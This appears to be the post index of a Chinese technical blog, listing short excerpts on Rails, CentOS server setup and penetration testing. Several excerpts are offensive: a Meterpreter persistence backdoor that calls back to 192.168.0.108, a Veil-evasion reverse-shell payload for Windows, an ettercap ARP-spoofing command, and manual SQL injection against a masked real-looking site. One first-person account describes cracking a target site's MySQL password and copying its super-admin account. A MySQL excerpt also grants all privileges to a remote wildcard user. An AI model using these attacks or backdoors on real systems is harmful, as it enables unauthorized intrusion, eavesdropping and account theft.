- 博客(17)
- 收藏
- 关注
原创 第二届百度&西安交通大学大数据竞赛
赛题描述:http://openresearch.baidu.com/online/artical.do?method=activityItemDetail&activityID=26eb630e-5839-452d-ad71-bf023a8d6327&navIndex=2解题思路:需要识别的实体是主语或者宾语,而主语宾语左右两边的词都是有固定词性。这里没采用分词工具,就直
2016-08-31 10:49:29
2750
原创 php语言设置mysql 读写库使用的编码
mysql_query('set character set utf8');//读库mysql_query('set names utf8');//写库
2016-05-09 18:47:50
502
转载 CentOs中安装和配置vsftp简明教程
一、vsftp安装篇复制代码代码如下:# 安装vsftpdyum -y install vsftpd# 启动service vsftpd start# 开启启动chkconfig vsftpd on二、vsftp相关命令之服务篇复制代码代码如下:# 启动ftp服务service vsftpd start# 查看ft
2016-05-09 16:50:18
569
原创 MYSQL添加远程用户
添加远程用户admin密码为password grant all privileges on *.* to admin@localhost identified by 'password' with grant option grant all privileges on *.* to admin@"%" identified by 'password' with grant option
2016-05-09 16:16:57
418
转载 CentOS 6.5系统安装配置LAMP(Apache+PHP5+MySQL)服务器环境
准备篇:1、配置防火墙,开启80端口、3306端口vi /etc/sysconfig/iptables-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT #允许80端口通过防火墙-A INPUT -m state --state NEW -m tcp -p tcp --dport 3306 -j AC
2016-05-09 13:04:42
680
转载 Meterpreter 建立持久后门 backdoor
安装后门方法一:meterpreter >run persistence -X -i 5 -p 443 -r 192.168.0.108Persistent agent script is 609628 bytes longRunningPersistance ScriptResource filefor cleanup created at /root/.msf4/logs/
2016-05-06 17:56:51
10001
1
原创 一次mysql渗透过程
1 打开目标站点:www.xxx.com2 注册账号并登录,大概找下注入点,没找到3 用namp -A -T4 目标站点扫描开放的服务 发现mysql等4 猜弱口令 + 字典 对mysql进行了破译 (运气较好,得到了密码)5 连接到mysql 找到用户表,密码用md5加密,试了几个,解不出来,应该有加随机字符 于是复制了一个超级管理员,用户名及密码复制之前
2016-04-25 17:59:39
2972
原创 kali2.0 msf连接数据库及启动armitage
msf连接数据库启动postgresql 服务:service postgresql start进入 postgres:su postgres输入如下命令创建一个postgresql数据库账户:createuser msf3 –P命令中的msf3就是要创建的用户,当然你可以输入任何其他用户名。接着,终端中会提示你输入密码,然后确认密码,这
2016-04-09 13:00:54
9593
原创 rails学习笔记:维护商品信息任务C
创建商店控制器rails generate controller store index修改../config/routes.rb 使http://localhost:3000/store/index 成为根目录加 root 'store#index'Rails.application.routes.draw do get 'store/index' resour
2015-09-26 14:02:35
625
原创 rails学习笔记:维护商品信息任务B
修改数据模型/app/models/product.rbclass Product validates :title, :description, :image_url, :presence => true validates :price, :numericality => {:greater_than_or_equal_to => 0.01} validates :
2015-09-15 23:30:31
419
原创 rails学习笔记:维护商品信息任务A
rails new depotcd depot 生成脚手架rails generate scaffold Product title:string description:text image_url:string price:decimal在 ../depot/db/migrate/ 中会生成迁移文件 20150912100114_create_products.rb
2015-09-12 17:58:30
543
原创 rails 第一个动作
切换至工程目录myDemorails generate controller Say hello创建 say控制器 带函数hello在 ../myDemo/app/controllers/ 中会生成对应的文件 say_controller.rb ../myDemo/app/views/say/ 中生成对应的hello.html.erb编辑say_control
2015-09-11 09:15:25
412
原创 Rails 新建项目
rails new myDemo 在当前目录创建新工程 名为 myDemo进入myDemo中 编辑Gemfile 文件 修改其中的源source 'https://rubygems.org' 改为 source 'https://ruby.taobao.org'终端切进 myDemo目录bundle installrails s 启动打开 http
2015-09-11 08:50:20
513
原创 Metasploit使用后门程序渗透Windows
终端中运行 veil-evasion输入list查看可用模块 这里使用 7) c/shellcode_inject/flatc输入 use 7generate1 (default)回车选择默认的 windows/meterpreter/reverse_tcptab 选择本地IP 也可以自己输入指定IP端口 用默认的 4444回车 回车G
2015-09-11 08:45:51
3899
原创 ettercap进行arp欺骗攻击
开启IP转发 echo 1 >/proc/sys/net/ipv4/ip_forwardCat 查看内容cat /proc/sys/net/ipv4/ip_forwardettercap -i wlan0 -Tq -M arp:remote /172.19.73.1-253/ /172.19.73.254/其中:-Tq -- 》-T
2015-09-11 08:25:17
5345
原创 php手工注入拿后台
http://www.XXXXX.com.cn/company_detail.php?id=16 and 1=1 看一下 正常and 1=2 错误order by 8 正常order by 9 错误 说明就是8UNION SELECT 1,2,3,4,5,6,7,8 8个 出现数字 2 与 6version()获取版本database()获取数
2015-07-29 23:17:21
855
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人